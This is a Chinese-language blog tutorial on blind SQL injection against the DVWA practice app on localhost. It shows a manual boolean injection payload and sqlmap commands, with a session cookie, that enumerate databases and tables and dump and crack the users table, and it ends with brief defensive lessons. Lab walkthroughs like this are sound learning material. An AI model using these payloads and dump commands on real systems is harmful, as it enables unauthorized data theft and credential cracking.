以前的sql注入页面(http://www.javashuo.com/article/p-clbaglhr-cz.html),返回了查询结果和错误信息。而下面的页面,返回信息只有存在和不存在两种状况,错误信息页面也被屏蔽了,这种状况下咱们能获得的信息不多,且须要本身判断注入是否成功,因此叫盲注(名字很形象啊~)html
盲注的注入方法,简单来讲就一个字:猜 ...>_<.... 怎么猜呢?用猜数据库名称长度来举个栗子:python
输入:1' and length(database()) = 1 #git
输出:User ID is MISSING from the databasegithub
根据输出,数据库名长度不为1,而后再猜想2,3,4。。。直到猜对为止,而后再来猜数据库名称的第一个字母,第二个字母。。。直到猜到数据库名称算法
Hmmm...这样猜来猜去很费时间啊,这种事情是否是能够自动化一下,我都能想到,大神们早就想到了,就是这个工具:sqlmapsql
1. sqlmap介绍数据库
这个工具是开源的,官网和github均可如下载。在使用以前,须要先安装python环境。如下是sqlmap的自我介绍cookie
2. sqlmap启动测试工具
打开命令行工具,进入sqlmap解压后所在的文件夹,个人路径是E:\...\sqlmap,输入python sqlmap.py,看到以下信息说明sqlmap已经能够正常使用测试
3. 用sqlmap获取全部数据名称
用F12看了下当前页面,这个页面是须要登陆凭证的,因此使用sqlmap时也要带上登陆凭证
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs
输出:sqlmap拿到了全部数据库名称
4. 用sqlmap获取当前数据名称
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db
输出:当前数据库名称为dvwa
5. 用sqlmap获取当前数据中的全部表名
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables
输出:表名为guestbook和users
6. 用sqlmap获取users表中的全部数据
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users --dump
输出:拿到表中全部数据, 还把密码给破解了。。。不要太贴心啊~
一点点感悟:
1. 敏感信息不要用太简单的加密算法,很容易被破解。。。
2. 用cookie存储登陆凭证有风险,或者说会增长风险
如需转载,请注明出处,这是对他人劳动成果的尊重~